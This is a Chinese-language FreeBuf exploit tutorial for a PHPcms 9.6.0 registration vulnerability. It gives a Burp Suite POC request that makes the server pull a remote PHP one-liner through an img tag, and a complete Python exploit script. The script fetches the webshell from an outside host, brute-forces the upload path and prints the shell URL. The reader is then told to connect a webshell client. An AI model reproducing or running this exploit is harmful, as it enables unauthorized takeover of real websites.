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对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下: 首先我们在本地搭建一个php环境,我这里是appserv(只要可以执行php文件就行)  
 在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问  
 接着我们找到phpcms网站注册模块,随便填一下信息  
 然后我们用burpsuite抓包  
 然后发送到repeater  
 我们在最下面的注册那儿使用img标签插入我们本地第一步搭建的一句话 poc如下:  
- siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://192.168.1.157/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=
 
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只需要修改img里面的链接为你本地写入的一句话即可,还有要注意的是在repeater里测试go时每一次都要修改username,password和email字段值(不能重复,汗) 我们可以看到repeater里MYSQL query成功插入,接着访问上图repeater里我标黄语句,执行一句话 连接菜刀,getshell   利用方式二:利用火狐的插件,操作如下  
 exp如下:三少  
 - # -*- coding:utf-8 -*-
 
 - import requests
 
 - import sys
 
 - from datetime import datetime
 
 - def getTime():
 
 -     year = str(datetime.now().year)
 
 -     month = "%02d" % datetime.now().month
 
 -     day = "%02d" % datetime.now().day
 
 -     hour = datetime.now().hour
 
 -     hour = hour - 12 if hour > 12 else hour
 
 -     hour = "%02d" % hour
 
 -     minute = "%02d" % datetime.now().minute
 
 -     second = "%02d" % datetime.now().second
 
 -     microsecond = "%06d" % datetime.now().microsecond
 
 -     microsecond = microsecond[:3]
 
 -     nowTime = year + month + day + hour + minute + second + microsecond
 
 -     return int(nowTime), year + "/" + month + day + "/"
 
 - def main():
 
 -     if len(sys.argv) < 2:
 
 -         print("[*]Usage   : Python 1.py http://xxx.com")
 
 -         sys.exit()
 
 -     host = sys.argv[1]
 
 -     url = host + "/index.php?m=member&c=index&a=register&siteid=1"
 
 -     data = {
 
 -         "siteid": "1",
 
 -         "modelid": "1",
 
 -         "username": "dsakkfaffdssdudi",
 
 -         "password": "123456",
 
 -         "email": "dsakkfddsjdi@qq.com",
 
 -         # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0
 
 -         "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",
 
 -         "dosubmit": "1",
 
 -         "protocol": "",
 
 -     }
 
 -     try:
 
 -         startTime, _ = getTime()
 
 -         htmlContent = requests.post(url, data=data)
 
 -         finishTime, dateUrl = getTime()
 
 -         if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
 
 -             successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
 
 -             print("[*]Shell  : %s" % successUrl)
 
 -         else:
 
 -             print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second),or re-run the program after modifying value of username and email.\n")
 
 -             successUrl = ""
 
 -             for t in range(startTime, finishTime):
 
 -                 checkUrlHtml = requests.get(
 
 -                     host + "/uploadfile/" + dateUrl + str(t) + ".php")
 
 -                 if checkUrlHtml.status_code == 200:
 
 -                     successUrl = host + "/uploadfile/" + \
 
 -                         dateUrl + str(t) + ".php"
 
 -                     print("[*]Shell  : %s" % successUrl)
 
 -                     break
 
 -             if successUrl == "":
 
 -                 print(
 
 -                     "[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
 
 -     except:
 
 -         print("Request Error")
 
 - if __name__ == '__main__':
 
 -     main()
 
 
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*原创作者:三少,本文属FreeBuf原创奖励计划,未经许可禁止转载 http://www.freebuf.com/vuls/131648.html?spm=5176.7752487.2.5.ktjJKf |